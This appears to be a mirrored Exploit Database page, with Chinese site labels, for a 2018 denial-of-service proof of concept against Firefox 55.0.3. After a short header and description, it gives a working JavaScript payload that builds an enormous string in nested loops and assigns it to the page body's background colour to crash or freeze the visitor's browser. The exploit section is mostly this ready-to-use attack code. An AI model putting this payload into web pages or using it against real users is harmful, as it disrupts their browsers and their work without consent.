Firefox 55.0.3 – Denial of Service (PoC)

• Exploit Database
• 124 阅读

• 作者： L0RD
  日期： 2018-08-27
• 类别：

  • dos
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/45257/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: Firefox 55.0.3 - Denial of Service (PoC) # Date: 2018-08-26 # Exploit Author: L0RD # Vendor Homepage: mozilla.org # Software Link: https://www.mozilla.org/en-US/firefox/55.0.3/releasenotes/ # Version: 55.0.3 # Tested on: Windows 10 # CVE: N/A   # Description : # An issue was discovered in firefox 55.0.3 which an attacker can create a # webpage and put javascript payload to crash user&apos;s browser or put user in # non-responsive state.   # Exploit :   /* We don&apos;t need to create any element on webpage.we just set body attribute with our buffer variable*/ <script> var buffer = ""; for(var i=0;i<0x11170;i++){ for(j=0;j<=0x9C40;j++){ buffer += "\x44"; } } document.body.style.backgroundColor = buffer; </script>